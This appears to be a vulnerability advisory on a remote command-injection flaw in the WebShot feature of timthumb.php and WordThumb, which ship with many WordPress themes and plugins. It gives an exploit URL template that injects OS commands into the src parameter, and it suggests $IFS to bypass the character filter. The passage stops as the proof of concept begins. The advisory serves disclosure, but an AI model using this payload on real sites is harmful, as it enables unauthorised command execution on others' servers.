Perfect for use on blogs and other applications. Developed for use in the WordPress theme Mimbo Pro, and since used in many other WordPress themes. http://www.binarymoon.co.uk/projects/timthumb/ https://code.google.com/p/timthumb/ The original project WordThumb 1.07 also vulnerable ( https://code.google.com/p/wordthumb/) They both shared exactly the same WebShot code! And there are several projects that shipped with "timthumb.php", such as, Wordpress Gallery Plugin https://wordpress.org/plugins/wordpress-gallery-plugin/ IGIT Posts Slider Widget http://wordpress.org/plugins/igit-posts-slider-widget/ All themes from http://themify.me/ contains vulnerable "wordthumb" in "<theme-name>/themify/img.php". [+] Exploit ============================================================ http:// <wp-website>/wp-content/themes/<wp-theme>/path/to/timthumb.php?webshot=1&src=http:// <wp-website>$(<os-cmds>) ** Note that OS commands payload MUST be within following character sets: [A-Za-z0-9\-\.\_\~:\/\?\#\[\]\@\!\$\&\'\(\)\*\+\,\;\=] ** Spaces, Pipe, GT sign are not allowed. ** This WebShot feature is DISABLED by default. ** CutyCapt and XVFB must be installed in constants. [+] Proof-of-Concept ============================================================ There are couple techniques that can be used to bypass limited charsets but I will use a shell variable $IFS insteads of space in this scenario.
